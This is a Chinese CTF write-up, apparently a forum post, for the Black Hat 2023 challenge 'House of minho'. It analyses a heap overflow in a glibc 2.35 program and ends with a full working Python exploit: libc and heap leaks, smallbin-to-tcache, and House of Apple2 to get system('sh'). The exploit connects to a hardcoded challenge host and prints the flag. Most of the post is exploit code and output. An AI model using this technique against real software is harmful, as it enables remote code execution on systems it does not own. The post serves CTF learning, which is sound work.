-
-
[原创][Black Hat 2023] Pwn House of minho 解题报告
-
发表于: 3小时前 147
-
**1. 题目信息 **
目标:
nc 123.57.66.184 10050
附件:
附件:
minho
main.c
Dockerfile
docker-compose.yml
最终 flag:
flag{bcddada9-b211-4c5d-8d04-282a53b2caff}
参考环境:
Ubuntu 22.04
GLIBC 2.35
PIE: enabled
NX: enabled
Canary: enabled
RELRO: Full RELRO
2.漏洞点分析
源码核心如下:
#define SIZE_SMALL 0x40
#define SIZE_BIG 0x80
char *g_buf;
case 1:
if (getint("Size [1=small / 2=big]: ") == 1) {
g_buf = malloc(SIZE_SMALL);
} else {
g_buf = malloc(SIZE_BIG);
}
printf("Data: ");
read(STDIN_FILENO, g_buf, SIZE_BIG);
g_buf[strcspn(g_buf, "\n")] = '\0';
break;
当选择 small 时:
g_buf = malloc(0x40);
但输入时固定读入:
read(0, g_buf, 0x80);
所以 small chunk 存在堆溢出,可以覆盖后续 chunk 的 metadata,包括 size、fd、bk 等字段。
程序限制:
char *g_buf;
全局只有一个指针,delete 后会置空:
free(g_buf);
g_buf = NULL;
所以没有直接 UAF,但可以通过堆溢出、scanf 内部 malloc/realloc、tcache safe-linking 泄露与 smallbin-to-tcache 技巧完成利用。
3.利用总体思路
利用链分四段:
1. 利用 scanf 读超长输入触发 malloc/realloc/free
2. 修改 Top Chunk size,让 Top Chunk 进入 Unsorted Bin,泄露 libc
3. 通过 tcache fd 的 safe-linking key 泄露 heap base
4. 伪造 smallbin 链,触发 smallbin-to-tcache,拿任意写
5. House of Apple2 劫持 _IO_list_all,触发 system("sh")
6. 执行 cat /flag
关键 libc 偏移:
main_arena_unsorted = 0x219ce0
smallbin_0x90_head = 0x219d60
_IO_list_all = 0x21a680
_IO_wfile_overflow = 0x2160d8
system = 0x50d60
4.libc 泄露
先溢出修改 Top Chunk size:
add(1, b"a" * 0x48 + p64(0xd11))
然后向 scanf("%d%*c") 输入超长数字:
sla(b"> ", b"0" * 0xfff + b"2")
scanf 内部会分配较大的缓冲区,大致触发:
malloc(0x800);
realloc(..., 0x1000);
realloc(..., 0x2000);
free(...);
配合被修改过的 Top Chunk size,可以让旧 Top Chunk 进入 Unsorted Bin。
之后通过 small chunk 溢出覆盖并 show:
free()
add(1, b"a" * 0x50)
show()
ru(b"a" * 0x50)
libc_base = u64(io.recv(6).ljust(8, b"\x00")) - 0x219ce0
5.heap 泄露
glibc 2.35 的 tcache fd 使用 safe-linking:
encoded_fd = real_fd ^ (chunk_addr >> 12)
如果泄露 tcache 链表末尾 chunk 的 fd,由于真实 fd 为 0,所以泄露值就是:
heap_base >> 12
因此:
heap_base = leak << 12
对应利用:
free()
add(2, b"a")
free()
add(1, b"a" * 0x50)
show()
ru(b"a" * 0x50)
heap_base = u64(ru(b"\n")[:-1].ljust(8, b"\x00")) << 12
6.smallbin-to-tcache
目标是构造一个 fake smallbin 链,让 glibc 在从 smallbin 取 chunk 时,把链上的其它 chunk 自动填充进 tcache。
先构造可被合并的 fake chunk:
add(
1,
b"a" * 0x10
+ p64(0)
+ p64(0x31)
+ 2 * p64(heap_base + 0x2c0)
+ b"a" * 0x10
+ p64(0x30)
+ p64(0xd00)
)
free()
布置哨兵块,避免 malloc/free 检查崩溃:
add(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0) + p64(0x11))
free()
把 fake chunk size 改成 smallbin 大小:
add(1, b"a" * 0x10 + p64(0) + p64(0x91))
再次用 scanf 超长输入触发 unsorted bin 遍历,使 fake chunk 进入 smallbin:
sla(b"> ", b"0" * 0xfff + b"2")
然后伪造 smallbin bk 链:
add(1, flat_list([
0, 0,
0, 0x91, heap_base + 0x2c0, heap_base + 0x2c0 + 0x20,
0, 0x91, heap_base + 0x2c0, heap_base + 0x2c0 + 0x40,
0, 0x91, heap_base + 0x2c0 + 0x20, libc_base + 0x219d60,
]))
free()
触发 smallbin-to-tcache:
add(2, b"a")
free()
此时可以进行 tcache poisoning,获得一次写 libc 地址的机会。
7.House of Apple2
由于 Full RELRO,不能改 GOT。这里选择劫持:
_IO_list_all
构造 fake _IO_FILE_plus,让程序 exit 时触发:
exit
-> _IO_flush_all_lockp
-> _IO_wfile_overflow
-> system("sh")
关键字段:
wide_data_off = 0xa0
vtable_off = 0xd8
wide_data_vtable_off = 0xe0
_IO_wfile_overflow_ptr = libc_base + 0x2160d8
_IO_list_all = libc_base + 0x21a680
system = libc_base + 0x50d60
写入 fake FILE:
add(2, flat_dict({
0x10: b" sh;",
0x38: system,
0x68: 0x71,
0x70: _IO_list_all ^ (heap_base >> 12),
}, filler=b"\x00"))
继续补齐 wide_data 和 vtable:
add(2, flat_dict({
wide_data_off - 0x60: heap_base + 0x2e0 + 0xd0 - wide_data_vtable_off,
0xd0 - 0x60: heap_base + 0x2e0 + 0x28 - do_alloc_off,
vtable_off - 0x60: _IO_wfile_overflow_ptr - __overflow_off,
}, filler=b"\x00"))
最后劫持 _IO_list_all:
add(2, p64(heap_base + 0x2e0))
退出触发:
sla(b"> ", b"4")
8.完整 exploit
保存为:
exp_minho_pure.py
运行:
python3 exp_minho_pure.py 123.57.66.184 10050 --cmd "cat /flag; echo DONE"
完整代码:
import socket, struct, time, argparse
MASK64 = (1 << 64) - 1
def p64(x): return struct.pack("<Q", x & MASK64)
def u64(b): return struct.unpack("<Q", b.ljust(8, b"\x00")[:8])[0]
def flat_list(items):
out = b""
for x in items:
out += p64(x) if isinstance(x, int) else x
return out
def flat_dict(d, filler=b"\x00"):
maxlen = 0
vals = []
for off, val in d.items():
b = p64(val) if isinstance(val, int) else val
vals.append((off, b))
maxlen = max(maxlen, off + len(b))
out = bytearray(filler[:1] * maxlen)
for off, b in vals:
out[off:off + len(b)] = b
return bytes(out)
class Tube:
def __init__(self, host, port, timeout=12):
self.s = socket.create_connection((host, port), timeout=timeout)
self.s.settimeout(timeout)
self.buf = b""
def recv(self, n=4096):
if self.buf:
b = self.buf[:n]
self.buf = self.buf[n:]
return b
return self.s.recv(n)
def recvuntil(self, delim, drop=False):
while delim not in self.buf:
chunk = self.s.recv(4096)
if not chunk:
break
self.buf += chunk
idx = self.buf.find(delim)
if idx >= 0:
end = idx + len(delim)
out = self.buf[:idx if drop else end]
self.buf = self.buf[end:]
return out
out = self.buf
self.buf = b""
return out
def send(self, b):
if isinstance(b, str):
b = b.encode()
self.s.sendall(b)
def sendline(self, b):
if isinstance(b, str):
b = b.encode()
self.send(b + b"\n")
def sendafter(self, delim, b):
self.recvuntil(delim)
self.send(b)
def sendlineafter(self, delim, b):
self.recvuntil(delim)
self.sendline(b)
def clean(self, timeout=0.5):
old = self.s.gettimeout()
self.s.settimeout(timeout)
out = self.buf
self.buf = b""
while True:
try:
c = self.s.recv(4096)
if not c:
break
out += c
except socket.timeout:
break
self.s.settimeout(old)
return out
def exploit(host, port, cmd):
io = Tube(host, port)
ru = io.recvuntil
sla = io.sendlineafter
sa = io.sendafter
def add(size, content):
sla(b"> ", b"1")
sla(b"Size [1=small / 2=big]: ", str(size).encode())
sa(b"Data: ", content)
def show():
sla(b"> ", b"2")
def free():
sla(b"> ", b"3")
sla(b"> ", b"0" * 0xd58 + b"3")
add(1, b"a" * 0x48 + p64(0xd11))
sla(b"> ", b"0" * 0xfff + b"2")
free()
add(1, b"a" * 0x50)
show()
ru(b"a" * 0x50)
libc_base = u64(io.recv(6)) - 0x219ce0
print("[+] libc_base =", hex(libc_base))
free()
add(1, b"a" * 0x48 + p64(0xcf1))
free()
add(2, b"a")
free()
add(1, b"a" * 0x50)
show()
ru(b"a" * 0x50)
heap_base = u64(ru(b"\n", drop=True)) << 12
print("[+] heap_base =", hex(heap_base))
free()
add(
1,
b"a" * 0x10
+ p64(0)
+ p64(0x31)
+ 2 * p64(heap_base + 0x2c0)
+ b"a" * 0x10
+ p64(0x30)
+ p64(0xd00)
)
free()
add(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0) + p64(0x11))
free()
add(1, b"a" * 0x10 + p64(0) + p64(0x91))
sla(b"> ", b"0" * 0xfff + b"2")
free()
add(1, flat_list([
0, 0,
0, 0x91, heap_base + 0x2c0, heap_base + 0x2c0 + 0x20,
0, 0x91, heap_base + 0x2c0, heap_base + 0x2c0 + 0x40,
0, 0x91, heap_base + 0x2c0 + 0x20, libc_base + 0x219d60,
]))
free()
add(2, b"a")
free()
wide_data_off = 0xa0
vtable_off = 0xd8
wide_data_vtable_off = 0xe0
_IO_wfile_overflow_ptr = libc_base + 0x2160d8
__overflow_off = 0x18
do_alloc_off = 0x68
_IO_list_all = libc_base + 0x21a680
system = libc_base + 0x50d60
add(
1,
b"a" * 0x10
+ p64(0)
+ p64(0x71)
+ p64((heap_base + 0x2d0 + 0x70) ^ (heap_base >> 12))
)
free()
add(2, flat_dict({
0x10: b" sh;",
0x38: system,
0x68: 0x71,
0x70: _IO_list_all ^ (heap_base >> 12),
}))
free()
add(2, flat_dict({
wide_data_off - 0x60: heap_base + 0x2e0 + 0xd0 - wide_data_vtable_off,
0xd0 - 0x60: heap_base + 0x2e0 + 0x28 - do_alloc_off,
vtable_off - 0x60: _IO_wfile_overflow_ptr - __overflow_off,
}))
free()
add(2, p64(heap_base + 0x2e0))
sla(b"> ", b"4")
time.sleep(0.5)
print("[+] trigger:", repr(io.clean()))
io.sendline(cmd)
out = b""
end = time.time() + 5
while time.time() < end:
try:
chunk = io.s.recv(4096)
if not chunk:
break
out += chunk
if b"DONE" in out:
break
except socket.timeout:
break
print(out.decode("latin-1", "replace"))
if __name__ == "__main__":
ap = argparse.ArgumentParser()
ap.add_argument("host", nargs="?", default="123.57.66.184")
ap.add_argument("port", nargs="?", type=int, default=10050)
ap.add_argument("--cmd", default="cat /flag; echo DONE")
args = ap.parse_args()
exploit(args.host, args.port, args.cmd.encode())
9.结果
执行:
python3 exp_minho_pure.py 123.57.66.184 10050 --cmd "cat /flag; echo DONE"
输出:
[+] libc_base = 0x...
[+] heap_base = 0x...
[+] trigger: b'[+] Bye!\n'
flag{bcddada9-b211-4c5d-8d04-282a53b2caff}
DONE
[内核课程]《Windows内核攻防实战》!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。